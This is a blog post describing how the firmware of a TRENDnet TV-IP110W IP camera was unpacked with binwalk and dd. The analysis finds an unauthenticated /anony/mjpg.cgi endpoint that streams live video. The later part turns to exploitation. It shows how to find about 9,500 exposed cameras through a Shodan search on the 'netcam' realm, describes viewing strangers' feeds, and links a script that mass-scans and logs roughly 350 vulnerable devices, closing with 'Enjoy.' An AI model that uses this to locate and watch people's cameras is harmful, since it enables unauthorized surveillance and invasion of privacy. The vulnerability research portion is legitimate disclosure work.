Apr 16, 2020

Trendnet Cameras - I Always Feel Like Somebody'S Watching Me.

Firstly this post requires the following song to be playing.

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around. 

To start off the latest firmware for this device can be found at the following location :

First order of business was to update the camera with the most recent firmware:
Device info page confirming firmware version
Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/

Running binwalk against the firmware file 
binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck 
DECIMAL   HEX       DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320     0x7E40     gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136     0xA5CE0   gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s
Next cut out the first gzip file that was identified, we will call this file '2'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s
Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s
For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip
#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names
As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.
#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin  dev  etc  lib  linuxrc  mnt  proc  sbin  server  tmp  usr  var
There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"
#cd server/cgi-bin/anony/
#ls
jpgview.htm  mjpeg.cgi  mjpg.cgi  view2.cgi
The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera. 

video stream. giving no fucks.


Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)
Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches 
HTTP Auth with 'netcam' realm
Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch
9,500 results
If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'
creepy hole in the wall

front doors to some business
Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py

This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.
    def search(self, query,page=1):
        """Search the SHODAN database.
     
        Arguments:
        query    -- search query; identical syntax to the website
        page     -- page number of results      

        Returns:
        A dictionary with 3 main items: matches, countries and total.
        Visit the website for more detailed information.
     
        """
        return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

More information